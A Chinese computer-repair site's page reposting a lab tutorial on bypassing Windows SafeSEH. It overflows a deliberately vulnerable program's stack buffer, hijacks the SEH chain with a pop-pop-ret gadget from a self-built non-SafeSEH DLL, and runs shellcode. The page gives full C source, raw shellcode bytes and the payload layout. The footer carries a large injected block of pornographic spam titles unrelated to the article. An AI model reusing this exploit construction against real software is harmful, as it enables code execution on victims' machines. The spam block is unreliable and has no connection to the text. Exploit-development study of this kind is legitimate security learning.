錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務(wù),錦州廣廈維修電腦,公司IT外包服務(wù)
topFlag1 設(shè)為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務(wù)項(xiàng)目 服務(wù)報(bào)價 維修流程 IT外包服務(wù) 服務(wù)器維護(hù) 技術(shù)文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務(wù)技術(shù)文章
突破SafeSEH機(jī)制之二——利用未啟用SafeSEH模塊繞過SafeSEH

作者: 筠溪  日期:2017-08-03 15:23:39   來源: 本站整理


敲黑板敲黑板~~今天我們繼續(xù)~
上次講到SafeSEH的突破,介紹了一個簡單的利用堆繞過SafeSEH突破SafeSEH機(jī)制之一——利用堆繞過SafeSEH
本篇總共遇到了3個問題還沒有解決,有沒有大神幫我解答一下,我都把問題背景給標(biāo)黃了。
突破思路:
那么有3種情況,系統(tǒng)可以允許異常處理函數(shù)執(zhí)行:
1、異常處理函數(shù)位于加載模塊內(nèi)存范圍之外,DEP關(guān)閉
2、異常處理函數(shù)位于加載模塊內(nèi)存范圍之內(nèi),相應(yīng)模塊未啟用SafeSEH(SafeSEH表為空),不是純IL(本次要調(diào)試的)
3、異常處理函數(shù)位于加載模塊內(nèi)存范圍之內(nèi),相應(yīng)模塊啟用SafeSEH,異常處理函數(shù)地址包含在SafeSEH表中(放棄)

可以看到,我們突破SafeSEH的方法分為3種
1、排除DEP干擾,在加載模塊內(nèi)存范圍外找一個跳板指令就可以轉(zhuǎn)入shellcode執(zhí)行
2、利用未啟用SafeSEH模塊中的指令作為跳板,轉(zhuǎn)入shellcode執(zhí)行
3、由于SafeSEH表加密,對于新手的我暫時不考慮了。

今天我們一起調(diào)試第2種,加載模塊未啟用SafeSEH,啥意思?
簡單來說,就是... 知道LoadLibrary吧,知道dll吧?系統(tǒng)會在程序運(yùn)行的時候提供各種各樣的模塊供程序加載調(diào)用(kernel32.dll,user32.dll等),

這些程序加載的模塊由于某種原因沒有啟用SafeSEH,這樣就可以為我們所用!一般來說,這些系統(tǒng)提供的dll都會有啟用SafeSEH,為了本次實(shí)驗(yàn),

我們自己制作一個沒有啟用SafeSEH的dll。

第一步 編寫一個包含異常處理的漏洞程序
環(huán)境:
XP SP3
VS 2008
禁止優(yōu)化選項(xiàng)(C/C++------optimization:disable)
Release版本編譯
關(guān)閉DEP(還是那個問題,我在vs2008里并沒有關(guān)閉DEP(截圖在上一個帖子),可是執(zhí)行結(jié)果卻沒有影響,有沒有遇到相同問題的同學(xué)??)


代碼:

[C] 純文本查看 復(fù)制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
char shellcode[]=
"\x90\x90\x90\x90... ..."
DWORD MyException(void)
{
        printf("There is an exception");
        getchar();
        return 1;
}
void test(char * input)
{
        char str[200];
        strcpy(str,input);       
    int zero=0;
        __try
        {
            zero=1/zero;
        }
        __except(MyException())
        {
        }
}
int _tmain(int argc, _TCHAR* argv[])
{
        HINSTANCE hInst = LoadLibrary(_T("115.dll"));//load No_SafeSEH module
        //char str[200];
        __asm int 3
        test(shellcode);
        return 0;
}


現(xiàn)將shellcode用90來進(jìn)行填充,從代碼我們可以看出,通過向str進(jìn)行超長字符串溢出,覆蓋SEH鏈,劫持異常程序處理流程。
那么我們將程序劫持到哪里呢?shellcode?恐怕不行,因?yàn)樵谶M(jìn)行有效性檢查之前,會查看這個地址,如果這個指針指向棧,就會直接終止調(diào)用。
所以,我們必須將程序劫持到一個棧外的地址,并且沒有SafeSEH表的模塊中,執(zhí)行這個模塊的某一個指令(一般是跳板指令),再跳回到shellcode執(zhí)行。完美~

第二步 找地址!
找什么地址?
shellcode字符串在棧中的首地址A
需要溢出的異常處理函數(shù)指針位置,也就是溢出點(diǎn)B
根據(jù)B-A+4確定(溢出點(diǎn)上半部分的)shellcode的大小(劃重點(diǎn),劃重點(diǎn)了!!!)
為什么說,這次B-A+4不是shellcode 的大小?因?yàn)閟hellcode的布置不再是shellcode+若干90+覆蓋地址
因?yàn)楦采w的指針不能直接跳往shellcode啊,所以我們得用一個棧外地址、并且沒有SafeSEH的模塊中的跳轉(zhuǎn)指令跳到shellcode,這樣的話shellcode的布置就不再

像以往那么簡單,就想到j(luò)mp esp這種類似的跳轉(zhuǎn)指令了,

考慮用pop pop ret之類的指令,后面調(diào)試的時候告訴你為什么。
shellcode布置200個90,調(diào)試:
 
還是直接運(yùn)行到strcpy后面,搜索9090,記下shellcode首地址A:0x0012FE84


拉到棧下面,就是200個字節(jié)覆蓋的盡頭~查看還有多遠(yuǎn)才能覆蓋到SEH:
 
得到B地址 溢出點(diǎn)地址:0x0012FF60
B-A=220字節(jié)

第三步 布置shellcode
我們遇到了無法直接跳往shellcode的情況,考慮跳板指令,用跳板指令,一般shellcode就在覆蓋地址的后面,要不就是jmp esp 或者ret
在調(diào)試的時候,我們發(fā)現(xiàn)在test函數(shù)剛進(jìn)入的時候,會在Security cookie+4的地方壓入一個-2,在準(zhǔn)備出try{}的時候,又把這個值改動成0。原理我也不

太清楚,只要我們知道,這里有一個值,他是在溢出點(diǎn)B下方(+8的高地址)
 
這就出現(xiàn)問題了,我們?nèi)绻氚裺hellcode布置在溢出點(diǎn)后面,用跳板指令跳到接下來的地址,但是shellcode有可能被這樣一個機(jī)制修改,導(dǎo)致shellcode被破壞,怎么辦?
幸虧shellcode被破壞的地方不多,也是僅僅溢出點(diǎn)后面2個DWORD,所以這兩個DWORD我們用無關(guān)的90填充,接下來再填充shellcode。

接下來就是跳轉(zhuǎn)指令的選擇了,怎么能在執(zhí)行溢出點(diǎn)的異常處理函數(shù)后,再跳回來呢,這就需要我們的SafeSEH OFF的模塊了
如果shellcode緊鄰著溢出點(diǎn)B,我們可以直接找ret指令的函數(shù),跳回來繼續(xù)執(zhí)行shellcode,由于用了兩個DWORD填充shellcode前兩個字節(jié),所以考慮選擇pop pop ret指令
shellcode布置如下:
220字節(jié)0x90||4字節(jié)pop pop ret地址||8字節(jié)0x90||168字節(jié)shellcode內(nèi)容

好了,還剩最后一個問題了,跳板指令地址哪里來?我們自己構(gòu)造一個dll,包含這個指令的。

第四步 制作SafeSEH OFF的DLL
環(huán)境:
XP SP3
VC 6.0(編譯器不會啟用SafeSEH)
鏈接選項(xiàng):/base:"0x11120000"(這里是防止跳轉(zhuǎn)指令地址出現(xiàn)0x00截?cái)嘧址瑔栴}:如果跳轉(zhuǎn)指令必須有00,怎么處理,大神快告訴我)

[C] 純文本查看 復(fù)制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
#include "stdafx.h"
 
BOOL APIENTRY DllMain( HANDLE hModule,DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    return TRUE;
}
void jump()
{
__asm{
        pop eax
        pop eax
        retn
        }
}

可以看出了,這個dll就包含了一個pop pop ret的內(nèi)容

怎么驗(yàn)證這個dll沒有開啟SafeSEH呢?兩種方法,一種是利用vs里面的工具,vs 2008 command prompt命令行工具,利用"dumpbin /loadconfig"+dll名稱
另一個方法就是,用我們開頭的程序,直接OD調(diào)試,待LoadLibrary后,有一個插件叫做SafeSEH能夠直接查看加載的模塊SafeSEH情況,還有一個插件叫ODFindaddr,里面有一個unprotected modules——without SafeSEH都能查看
 

接下來我們查找pop pop ret的地址,OD調(diào)試
 
直接搜索0x58 0x58 0xC3
問題:不知道為什么,沒有找到pop eax,找到了pop ecx,pop ecx,ret
有同學(xué)遇到相同的問題了嗎。
這里就能夠確定這個跳轉(zhuǎn)指令地址:0x111211B6

完善代碼和shellcode:
[C] 純文本查看 復(fù)制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include "stdafx.h"
#include <string.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//220 bytes
"\xB6\x11\x12\x11"//address of pop pop retn in No_SafeSEH module
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
 
DWORD MyException(void)
{
        printf("There is an exception");
        getchar();
        return 1;
}
void test(char * input)
{
        char str[200];
        strcpy(str,input);       
    int zero=0;
        __try
        {
            zero=1/zero;
        }
        __except(MyException())
        {
        }
}
int _tmain(int argc, _TCHAR* argv[])
{
        HINSTANCE hInst = LoadLibrary(_T("115.dll"));//load No_SafeSEH module
        //char str[200];
        __asm int 3
        test(shellcode);
        return 0;
}


運(yùn)行~完美溢出... ... 等會,不對啊,咋沒反應(yīng)... ...
尷尬... ...同學(xué)們,我們調(diào)試一下看一下。
 
直接F9,看看錯誤發(fā)生在哪里,OD顯示0x130000寫入錯誤。
 
我們來計(jì)算一下,0x130000-0x12FE84=148<168.所以shellcode根本拷貝不完... ...棧空間不足

——————————————————————————手工割———————————————————————

上次調(diào)試發(fā)現(xiàn)棧空間不足,原來是因?yàn)閙ain函數(shù)中,有一個str[200]的字符數(shù)組定義,用來提高棧頂,我們還將這個“沒用的”str數(shù)組恢復(fù)。這樣是不是就可以了?
更新shellcode首地址A:0x0012FDB8   溢出點(diǎn)B:0x0012FE94(其實(shí)算出來shellcode怎么填充的,這個怎么變都沒用了)
 
一定要記下來這個覆蓋的SEH結(jié)構(gòu)地址0x0012FE90
前面我沒有講清楚這個跳轉(zhuǎn)的流程,這個跳轉(zhuǎn)稍微麻煩點(diǎn),我們現(xiàn)在一點(diǎn)點(diǎn)來看,我盡量多截圖
(1)pop pop ret
 
發(fā)生除0異常后,OD接管異常,我們按shift+F9,果然進(jìn)入到我們覆蓋的異常處理函數(shù)地址0x111211B6
這時我們觀察棧頂,發(fā)現(xiàn)pop兩次之后,就會return到之前覆蓋的SEH頭0x0012FE90,繼續(xù)執(zhí)行看看會發(fā)生什么
(2)ret之后的事情
 
現(xiàn)在終于來到了臨近shellcode的地方,先是4個0x90,然后就是我們找到的0x111211B6跳板指令地址,接下來是8個字節(jié)的0x90,只不過后4個已經(jīng)在try分支處理的時候被置為0了
本來這些無關(guān)緊要的數(shù)值被當(dāng)成代碼執(zhí)行的時候,一般情況下是不會影響shellcode執(zhí)行的,但是很不幸,我們就遇到了這種情況:
 
顯然,這些變動的字節(jié),對我們的shellcode造成了污染,直接影響了代碼的正常執(zhí)行,所以必須想辦法,怎么辦,那就跳過去吧
(3)jmp過去
位于0x0012FE90的4個90沒用,我們想辦法把這個4個字節(jié)改造一下,想辦法直接跳到shellcode處
我們看到shellcode的地址距離當(dāng)前有16個字節(jié)的長度,無條件轉(zhuǎn)移指令jmp 16個字節(jié)就可以了,根據(jù)匯編指令,是\xEB\x0E
所以這個4個字節(jié)就成了"\xEB\x0E\x90\x90”
修改之后,我們再次調(diào)試程序到這里:
 
看見沒,可以直接跳轉(zhuǎn)到shellcode了!
再繼續(xù)運(yùn)行: 
 

本次調(diào)試實(shí)驗(yàn)到此結(jié)束。


熱門文章
  • 機(jī)械革命S1 PRO-02 開機(jī)不顯示 黑...
  • 聯(lián)想ThinkPad NM-C641上電掉電點(diǎn)不...
  • 三星一體激光打印機(jī)SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數(shù)和判...
  • IIS 8 開啟 GZIP壓縮來減少網(wǎng)絡(luò)請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機(jī)始終停留在開機(jī)界面...
  • 常見打印機(jī)清零步驟
  • 安裝驅(qū)動時提示不包含數(shù)字簽名的解...
  • 共享打印機(jī)需要密碼的解決方法
  • 圖解Windows 7系統(tǒng)快速共享打印機(jī)的...
  • 錦州廣廈電腦上門維修

    報(bào)修電話:13840665804  QQ:174984393 (聯(lián)系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務(wù)區(qū)域: 遼寧錦州市區(qū)
    主要業(yè)務(wù): 修電腦,電腦修理,電腦維護(hù),上門維修電腦,黑屏藍(lán)屏死機(jī)故障排除,無線上網(wǎng)設(shè)置,IT服務(wù)外包,局域網(wǎng)組建,ADSL共享上網(wǎng),路由器設(shè)置,數(shù)據(jù)恢復(fù),密碼破解,光盤刻錄制作等服務(wù)

    技術(shù)支持:微軟等
    主站蜘蛛池模板: 国精品无码一区二区三区在线蜜臀| 久久无码专区国产精品发布| 国产a级理论片无码老男人| 在线播放无码高潮的视频| 亚洲av中文无码乱人伦在线r▽| 亚洲午夜无码毛片av久久京东热| 国产精品无码DVD在线观看| 无码毛片视频一区二区本码| 曰韩无码无遮挡A级毛片| 日韩免费无码视频一区二区三区| 人妻无码中文字幕| 高清无码午夜福利在线观看| 日韩人妻系列无码专区| 水蜜桃av无码一区二区| 中文字幕精品无码一区二区三区| 高清无码午夜福利在线观看| 无码午夜人妻一区二区三区不卡视频 | 国产成人无码精品久久久性色| 无码人妻丰满熟妇啪啪网站| 国产精品亚韩精品无码a在线| 韩国免费a级作爱片无码| 色综合久久久无码中文字幕| 亚洲av无码专区在线电影天堂| 无码人妻精品一区二区三区99仓本| 久久亚洲国产成人精品无码区| 少妇人妻偷人精品无码AV| 亚洲美免无码中文字幕在线| 无码AV中文字幕久久专区| 国产成人无码一区二区在线播放| 国产亚洲情侣一区二区无码AV| 毛片亚洲AV无码精品国产午夜| 无码不卡中文字幕av| 少妇爆乳无码专区| 无码av专区丝袜专区| 国产成人亚洲精品无码AV大片| 免费无码又爽又刺激高潮| 国产午夜无码福利在线看网站| 国产成人无码午夜视频在线观看| 久久久久久av无码免费看大片| 精品无码人妻一区二区三区不卡| 岛国无码av不卡一区二区|